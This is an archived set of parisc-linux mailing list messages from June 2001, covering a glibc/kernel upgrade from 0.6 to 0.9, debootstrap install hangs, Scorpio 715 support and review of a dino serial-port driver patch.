X-Mailer: Mozilla 4.77 [en] (WinNT; U)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11191

I'll be burning a ISO image over the weekend, but I was curious. Is
there the equivalent of "apt-get dist-update" or a simple way to do this
w/ out a complete reload?

On a somewhat related note, the 712 I've been playing on has the 0.6
bits loaded & I've been doing some apt-get's, but right now I can't get
anywhere. I've tried "apt-get -f install" to try to "clean things up",
but keep getting this:

 ============================================================

dpenguin:~# apt-get -f install
Reading Package Lists... Done
Building Dependency Tree... Done
The following extra packages will be installed:
  libc6 
1 packages upgraded, 0 newly installed, 0 to remove and 51  not
upgraded.
1 packages not fully installed or removed.
Need to get 0B/4106kB of archives. After unpacking 254kB will be used.
Do you want to continue? [Y/n] 
debconf: skipping preconfiguration (apt-utils is not installed)
(Reading database ... 16349 files and directories currently installed.)
Preparing to replace libc6 2.2.1-1 (using
.../libc6_2.2.3-2.0.0.2_hppa.deb) ...
Unpacking replacement libc6 ...
dpkg: error processing
/var/cache/apt/archives/libc6_2.2.3-2.0.0.2_hppa.deb (--unpack):
 dpkg: warning - old post-removal script killed by signal (Segmentation
fault)

dpkg: error while cleaning up:
 dpkg: warning - pre-installation script killed by signal (Segmentation
fault)

Errors were encountered while processing:
 /var/cache/apt/archives/libc6_2.2.3-2.0.0.2_hppa.deb
E: Sub-process /usr/bin/dpkg returned an error code (1)

 ============================================================

And in dmesg:

 ============================================================

do_page_fault() pid=244 command='libc6.postrm' type=15
address=0x000003a4

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001111
r0-3     00000000 00098058 00047573 000a40d0
r4-7     000003a4 000003a4 bff0021b 0000000c
r8-11    0000003d bff002d8 00000028 00000001
r12-15   00000081 00000029 00098058 00098058
r16-19   00000000 bff01708 0004fe90 00000000
r20-23   000a48d1 00000000 ffffc8bf 000a0858
r24-27   ffffffff 000a40d0 000003a4 00098058
r28-31   000a48d0 00000000 bff007c0 401cc057
sr0-3    0000002c 0000002c 00000000 0000002c
sr4-7    0000002c 0000002c 0000002c 0000002c

IASQ: 0000002c 0000002c IAOQ: 0004751b 0004751f
 IIR: 0f401014    ISR: 0000002c  IOR: 000003a4
ORIG_R28: 40235ef4

do_page_fault() pid=245 command='libc6.preinst' type=15
address=0x000003a4

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001111
r0-3     00000000 00098058 00047573 000a40d0
r4-7     000003a4 000003a4 bff00224 0000000c
r8-11    0000003d bff002d8 00000028 00000001
r12-15   00000081 00000029 00098058 00098058
r16-19   00000000 bff01708 0004fe90 00000000
r20-23   000a48d1 00000000 ffffc8bf 000a0858
r24-27   ffffffff 000a40d0 000003a4 00098058
r28-31   000a48d0 00000000 bff007c0 401cc057
sr0-3    0000002f 0000002f 00000000 0000002f
sr4-7    0000002f 0000002f 0000002f 0000002f

IASQ: 0000002f 0000002f IAOQ: 0004751b 0004751f
 IIR: 0f401014    ISR: 0000002f  IOR: 000003a4
ORIG_R28: 40235ef4

 ============================================================

I'm thinking I need to update the kernel, but I'd like to not have to
reload this from scratch.  I can pull the kernel from the 0.9 ISO, but
PALO didn't seem to be too intuitive.

Any suggestions?

-chuck




From - Thu Nov 08 21:17:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Upgrade path from 0.6 to 0.9?
Date: Fri, 1 Jun 2001 22:59:56 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <20010601225956.K7349@parcelfarce.linux.theplanet.co.uk>
References: <3B180D83.F5479D0B@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620163 19923 80.91.229.3 (22 Nov 2014 01:36:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:03 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Chuck Slivkoff <charles_slivkoff@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun  1 16:00:14 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id E06BD482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  1 Jun 2001 16:00:13 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 155wxY-0002Gf-00; Fri, 01 Jun 2001 22:59:56 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <3B180D83.F5479D0B@hp.com>; from charles_slivkoff@hp.com on Fri, Jun 01, 2001 at 05:47:47PM -0400
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11192

On Fri, Jun 01, 2001 at 05:47:47PM -0400, Chuck Slivkoff wrote:
> I'm thinking I need to update the kernel, but I'd like to not have to
> reload this from scratch.  I can pull the kernel from the 0.9 ISO, but
> PALO didn't seem to be too intuitive.

You do have to update your kernel in order to run glibc 2.2.3, due to
the changes in how stacks are managed for threads.  I don't think palo
is too unintuitive...

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chuck Slivkoff <charles_slivkoff@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Upgrade path from 0.6 to 0.9?
Date: Fri, 01 Jun 2001 18:54:13 -0400
Organization: HP Response Center
Lines: 25
Approved: news@gmane.org
Message-ID: <3B181D15.3D162B59@hp.com>
References: <3B180D83.F5479D0B@hp.com> <20010601225956.K7349@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620164 19930 80.91.229.3 (22 Nov 2014 01:36:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun  1 16:54:17 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel1.hp.com (palrel1.hp.com [156.153.255.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8F0E8482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  1 Jun 2001 16:54:17 -0600 (MDT)
Original-Received: from amrelay1.boi.hp.com (amrelay1.boi.hp.com [15.56.8.24])
	by palrel1.hp.com (Postfix) with ESMTP
	id 5FC3A1A4C; Fri,  1 Jun 2001 15:54:16 -0700 (PDT)
Original-Received: from xatlbh2.atl.hp.com (xatlbh2.atl.hp.com [15.45.89.187])
	by amrelay1.boi.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) with ESMTP id QAA06099;
	Fri, 1 Jun 2001 16:54:15 -0600 (MDT)
Original-Received: from hp.com (caslivkoff3107.atl.hp.com [15.50.82.243]) by xatlbh2.atl.hp.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id K8XXLVJY; Fri, 1 Jun 2001 18:54:15 -0400
X-Mailer: Mozilla 4.77 [en] (WinNT; U)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11193

Matthew Wilcox wrote:
> 
> On Fri, Jun 01, 2001 at 05:47:47PM -0400, Chuck Slivkoff wrote:
> > I'm thinking I need to update the kernel, but I'd like to not have to
> > reload this from scratch.  I can pull the kernel from the 0.9 ISO, but
> > PALO didn't seem to be too intuitive.
> 
> You do have to update your kernel in order to run glibc 2.2.3, due to
> the changes in how stacks are managed for threads.  I don't think palo
> is too unintuitive...

RTFM, I know. I updated the kernel from the ISO image (mounted via
loopback on a RH 7.0 system) and I was able to fix the problem I was
having. I added the ISO image to "sources.list" & have "apt-get upgrade"
running so far without a hitch.

Wahoo!

-chuck

P.S. The confustion I had about PALO, was wether or not it needed to be
run (like LILO) after changing /boot/vmlinux. The answer, BTW, is "no".




From - Thu Nov 08 21:17:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jim Buttafuoco" <jim@buttafuoco.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] .9 install problems on a 735
Date: Sat, 2 Jun 2001 12:56:03 -0400
Lines: 13
Approved: news@gmane.org
Message-ID: <200106021656.MAA18064@p2.buttafuoco.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
X-Trace: ger.gmane.org 1416620164 19934 80.91.229.3 (22 Nov 2014 01:36:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:04 +0000 (UTC)
To: "PARISC-LINUX Mailing List" <parisc-linux@thepuffingroup.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jun  2 10:56:20 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id F2DD5482A
	for <parisc-linux@lists.parisc-linux.org>; Sat,  2 Jun 2001 10:56:19 -0600 (MDT)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA00692
	for <parisc-linux@puffin.external.hp.com>; Sat, 2 Jun 2001 10:48:54 -0600
Original-Received: (qmail 914 invoked by uid 15267); 2 Jun 2001 16:56:08 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 892 invoked from network); 2 Jun 2001 16:56:06 -0000
Original-Received: from buttafuoco.mv.com (HELO p2.buttafuoco.net) (207.22.43.121)
  by mailserv2.iuinc.com with SMTP; 2 Jun 2001 16:56:06 -0000
Original-Received: (from nobody@localhost)
	by p2.buttafuoco.net (8.9.3/8.9.3) id MAA18064;
	Sat, 2 Jun 2001 12:56:03 -0400
X-Authentication-Warning: p2.buttafuoco.net: nobody set sender to jim@buttafuoco.org using -f
X-Mailer: NeoMail 1.24
X-IPAddress: 192.1.3.116
Xref: news.gmane.org gmane.linux.ports.parisc:11194

I am trying to install the .9 CD image via NFS on my 735.  The system
boots into the installer fine.  I partitioned my disk and then the
installed downloaded some packages.  After the download was complete the
screen is displays a message "Installing essential packages".  I have
left it there for over an hour now.  Is this normal.  If not what can I
do...

Thanks
Jim





From - Thu Nov 08 21:17:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] .9 install problems on a 735
Date: Sat, 2 Jun 2001 19:16:35 +0100
Lines: 62
Approved: news@gmane.org
Message-ID: <20010602191635.D25745@linuxcare.com>
References: <200106021656.MAA18064@p2.buttafuoco.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620164 19941 80.91.229.3 (22 Nov 2014 01:36:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:04 +0000 (UTC)
Cc: PARISC-LINUX Mailing List <parisc-linux@thepuffingroup.com>
To: Jim Buttafuoco <jim@buttafuoco.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jun  2 12:20:38 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 32393482A
	for <parisc-linux@lists.parisc-linux.org>; Sat,  2 Jun 2001 12:20:33 -0600 (MDT)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA00872
	for <parisc-linux@puffin.external.hp.com>; Sat, 2 Jun 2001 12:13:04 -0600
Original-Received: (qmail 7352 invoked by uid 15267); 2 Jun 2001 18:20:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7339 invoked from network); 2 Jun 2001 18:20:17 -0000
Original-Received: from pc2-hems4-0-cust95.bre.cable.ntl.com (HELO rhirst.linuxcare.com) (213.107.176.95)
  by mailserv2.iuinc.com with SMTP; 2 Jun 2001 18:20:17 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 50EA6B007; Sat,  2 Jun 2001 19:16:36 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <200106021656.MAA18064@p2.buttafuoco.net>; from jim@buttafuoco.org on Sat, Jun 02, 2001 at 12:56:03PM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:11195

On Sat, Jun 02, 2001 at 12:56:03PM -0400, Jim Buttafuoco wrote:
> I am trying to install the .9 CD image via NFS on my 735.  The system
> boots into the installer fine.  I partitioned my disk and then the
> installed downloaded some packages.  After the download was complete the
> screen is displays a message "Installing essential packages".  I have
> left it there for over an hour now.  Is this normal.  If not what can I
> do...

Hi Jim,
  That is not normal, 5 or 10 minutes on a slow machine at most, I'd
guess.

The installer runs a script called debootstrap which downloads the
packages and then unpacks and configures them.  Sounds line something
has hung in the process.

I had it hang on my 715/old, because of problems with the alignment
of locks in glibc 2.2.1.  The installer is based on glibc 2.2.1 at
the moment, although you would typically upgrade to glibc 2.2.3
(which is also on the CD), after install.  That problem is processor
specific, and I wouldn't have expected it to affect the 735.

The base install uses slightly dated packages, because we had to
freeze the base package set early to have any chance of making the
installer work in time for release.

To find at what point it has hung the easiest thing to do is to
invoke debootstrap from a shell, rather than have the installer
do it automatically.  That way you see all the output.

You may just be able to ctrl-c back the the start of the installer,
otherwise start again.  Get to the point where the installer has
mounted your nfs source for you (I selected nfs source, and then
cancel when it asked me to choose the directory to install from).
Now scroll down the menu to 'execute a shell'.

You can use 'mount' and 'ls' to check that your nfs mount is ok.
Now do something like:

  debootstrap sid /target file:/instmnt/debian

/target is where the partition you are installing to is mounted.
There may be one or two prompts you have to hit return on, but
you should see a fairly steady stream of messages until

  I: Successfully completed
  umount: /dev/pts: not found

IIRC, my 715/old hung on unpacking or setting up ncurses5.

There are plenty of error msgs/warnings in the output, because
of unmet dependencies, etc, but debootstrap loops round a
number of times until everything is unpacked and configured and
dependencies are satisfied.

Let us know where it hangs,

Richard





From - Thu Nov 08 21:17:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <INGE2000@kjo.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] scorpios
Date: Sun, 03 Jun 2001 00:03:31 +0200
Lines: 9
Approved: news@gmane.org
Message-ID: <E156JTM-00013Z-00@mrvdom03.kundenserver.de>
Reply-To: INGE2000@kjo.de
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii";
X-Trace: ger.gmane.org 1416620165 19946 80.91.229.3 (22 Nov 2014 01:36:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:05 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jun  2 16:03:11 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from moutvdom00.kundenserver.de (moutvdom00.kundenserver.de [195.20.224.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5D023482A
	for <parisc-linux@lists.parisc-linux.org>; Sat,  2 Jun 2001 16:03:10 -0600 (MDT)
Original-Received: from [195.20.224.219] (helo=mrvdom03.kundenserver.de)
	by moutvdom00.kundenserver.de with esmtp (Exim 2.12 #2)
	id 156JTp-00017H-00
	for parisc-linux@lists.parisc-linux.org; Sun, 3 Jun 2001 00:02:45 +0200
Original-Received: from pec-37-200.tnt2.f.uunet.de ([149.225.37.200] helo=luise)
	by mrvdom03.kundenserver.de with smtp (Exim 2.12 #2)
	id 156JTM-00013Z-00
	for parisc-linux@lists.parisc-linux.org; Sun, 3 Jun 2001 00:02:16 +0200
X-Mailer: Opera 5.02 build 856a
X-Priority: 3 (Normal)
Xref: news.gmane.org gmane.linux.ports.parisc:11196

I want to know if you're planning to support the scoprio series (715-33,715-50....),
because I own some and have to decide if I should wait for linux beeing ready to run them or if I should install OpenBSD.

greetings...






From - Thu Nov 08 21:17:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andi <andi@fischlustig.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] scorpios
Date: Sun, 03 Jun 2001 00:28:03 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <3B196873.C5702F3@fischlustig.de>
References: <E156JTM-00013Z-00@mrvdom03.kundenserver.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620165 19949 80.91.229.3 (22 Nov 2014 01:36:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: INGE2000@kjo.de
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jun  2 16:27:53 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tentakel.fischlustig.de (pD900160C.dip.t-dialin.net [217.0.22.12])
	by dsl2.external.hp.com (Postfix) with SMTP id 9CDD1482A
	for <parisc-linux@lists.parisc-linux.org>; Sat,  2 Jun 2001 16:27:51 -0600 (MDT)
Original-Received: (qmail 29924 invoked from network); 2 Jun 2001 22:28:03 -0000
Original-Received: from tentakel.fischlustig.de (HELO fischlustig.de) (@192.168.1.1)
  by tentakel.fischlustig.de with SMTP; 2 Jun 2001 22:28:03 -0000
Original-Sender: andi@dsl2.external.hp.com
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.18 i686)
X-Accept-Language: en, de
Xref: news.gmane.org gmane.linux.ports.parisc:11197

INGE2000@kjo.de wrote:

> I want to know if you're planning to support the scoprio series (715-33,715-50....),
> because I own some and have to decide if I should wait for linux beeing ready to run them or if I should install OpenBSD.
>
> greetings...

hmm.. I dont think OpenBSD runs on PA-RISC, there was some effort, but the project seems to be dead(?)..

andreas






From - Thu Nov 08 21:17:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Patch for dino serial port on B-class workstations
Date: Sun, 03 Jun 2001 01:21:31 -0600
Lines: 109
Approved: news@gmane.org
Message-ID: <200106030721.BAA02755@puffin.external.hp.com>
References: <3B1668E2.3040003@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620165 19957 80.91.229.3 (22 Nov 2014 01:36:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Clement MOYROUD <moyroudc@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun  3 01:28:54 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 70085482A
	for <parisc-linux@lists.parisc-linux.org>; Sun,  3 Jun 2001 01:28:54 -0600 (MDT)
Original-Received: from puffin (localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id BAA02755;
	Sun, 3 Jun 2001 01:21:32 -0600
In-Reply-To: Your message of "Thu, 31 May 2001 17:53:06 +0200."
             <3B1668E2.3040003@esiee.fr> 
Xref: news.gmane.org gmane.linux.ports.parisc:11198

Clement MOYROUD wrote:
> Hi all !
> 
> I have made a patch for dino. It's a bit ugly, but before going on with 
> a rewrite of the dino driver, I would like to have some feedback.

Clement! This is great!

Could you explain why you think yuo need to rewrite the dino driver?
This is basically how I expected it to work.

>  So 
> feel free to apply it on your kernel tree and give me some remarks about it.

I've neither applied nor tested it.

> diff -Nru linux.old/drivers/gsc/dino.c linux/drivers/gsc/dino.c
> --- linux.old/drivers/gsc/dino.c	Thu May 31 16:56:20 2001
> +++ linux/drivers/gsc/dino.c	Thu May 31 16:55:07 2001
> @@ -66,6 +66,7 @@
>  #include <asm/irq.h>		/* for "gsc" irq functions */
>  #include <asm/gsc.h>
>  
> +#include "busdevice.h"
>  
>  #undef DINO_DEBUG
>  
> @@ -542,6 +543,14 @@
>  	}
>  }
>  
> +/* Here is where the dino's serial port gets its irq on B-class workstations
>    */
> +
> +static int
> +dino_find_irq(struct busdevice *dino_dev, struct hp_device *dev)
> +{

Some upper portion of the address bits are already validated
but the code in bus_device.c.  Need to valid some of the lower
address bits here.

Want to make sure it's really the serial device that we want
to talk to and not the PS/2 port or "fire extinguisher" (only
used on 743 or Hitachi box, I forgot).


> +	return 10;
> +}
> +
>  static void __init
>  dino_bios_init(void)
>  {
> @@ -804,18 +813,33 @@
>  }
>  
>  static int __init
> -dino_common_init(struct dino_device *dino_dev)
> +dino_common_init(struct hp_device *d, struct dino_device *dino_dev)
>  {
>  	int status;
>  	u32 eim;
>  	struct gsc_irq gsc_irq;
>  	struct resource *res;
>  
> +	struct busdevice *dino;

Please call this dino_busdev or something like that to differentiate
it from the other "dino" data structures.

> +	int ret;
> +
>  	pcibios_register_hba((struct pci_hba_data *) dino_dev);
>  
>  	pci_bios = &dino_bios_ops;   /* used by pci_scan_bus() */
>  	pci_port = &dino_port_ops;
>  
> +
> +        /* Needed for the serial port to work. Quite ugly for now */
> +
> +	dino = kmalloc(sizeof(struct busdevice), GFP_KERNEL);
> +	if(!dino)
> +		return -ENOMEM;
> +	
> +	dino->name = "Dino";
> +	dino->hpa = d->hpa;
> +	dino->find_irq = dino_find_irq;

I don't think this in an ugly hack.
Overall, this is how I expected it to work.
Might not even need to fill in the rest of the functions
in the bus_device jump table.

> +	
> +
>  	/*
>  	** Note: SMP systems can make use of IRR1/IAR1 registers
>  	**   But it won't buy much performance except in very

offhand, the rest looks ok.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:17:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Version 0.9 of PA-RISC Linux Released
Date: Sun, 03 Jun 2001 01:30:50 -0600
Lines: 16
Approved: news@gmane.org
Message-ID: <200106030730.BAA02857@puffin.external.hp.com>
References: <20010602020300.A20205@neep.com.au>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620166 19958 80.91.229.3 (22 Nov 2014 01:36:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:06 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org, debian-hppa@lists.debian.org
To: Andrew Shugg <andrew@neep.com.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun  3 01:38:14 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 06A82482A
	for <parisc-linux@parisc-linux.org>; Sun,  3 Jun 2001 01:38:14 -0600 (MDT)
Original-Received: from puffin (localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id BAA02857;
	Sun, 3 Jun 2001 01:30:50 -0600
In-Reply-To: Your message of "Sat, 02 Jun 2001 02:03:02 +0800."
             <20010602020300.A20205@neep.com.au> 
Xref: news.gmane.org gmane.linux.ports.parisc:11199

Andrew Shugg wrote:
> - what's the 142MB "gg" file dated "01-Jun-2001 10:23"?  I mean, I know
>   who gg is (hi grant) but as this file is of around the same vintage as
>   all the 0.9 compressed ISOs I thought I'd see if it was related

Not mine.
-rw-r--r--   1 bame     cvsusers 148707328 Jun  1 10:23 gg

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:17:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] scorpios
Date: Sun, 3 Jun 2001 08:47:27 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <20010603084727.E25745@linuxcare.com>
References: <E156JTM-00013Z-00@mrvdom03.kundenserver.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620166 19961 80.91.229.3 (22 Nov 2014 01:36:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:06 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: INGE2000@kjo.de
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun  3 01:52:56 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0A930482A
	for <parisc-linux@lists.parisc-linux.org>; Sun,  3 Jun 2001 01:52:56 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 17A80B007; Sun,  3 Jun 2001 08:47:28 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <E156JTM-00013Z-00@mrvdom03.kundenserver.de>; from INGE2000@kjo.de on Sun, Jun 03, 2001 at 12:03:31AM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:11200

On Sun, Jun 03, 2001 at 12:03:31AM +0200, INGE2000@kjo.de wrote:
> I want to know if you're planning to support the scoprio series (715-33,715-50....),
> because I own some and have to decide if I should wait for linux beeing ready to run them or if I should install OpenBSD.

I have a 715/75 (Scorpio Sr.), which has worked in the past, but doesn't
work just now.  Believed to be a glibc 2.2.1 problem.  I'd expect this
class of machiens to start working again once I roll a glibc 2.2.3 based
base install system.

Richard





From - Thu Nov 08 21:17:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] .9 install problems on a 735
Date: Sun, 3 Jun 2001 09:00:13 +0100
Lines: 99
Approved: news@gmane.org
Message-ID: <20010603090013.F25745@linuxcare.com>
References: <200106022112.RAA27697@p2.buttafuoco.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620166 19967 80.91.229.3 (22 Nov 2014 01:36:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:06 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jim Buttafuoco <jim@buttafuoco.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun  3 02:03:28 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id CEDA3482A
	for <parisc-linux@lists.parisc-linux.org>; Sun,  3 Jun 2001 02:03:27 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 093F4B007; Sun,  3 Jun 2001 09:00:13 +0100 (BST)
X-Mailer: Mutt 1.0us
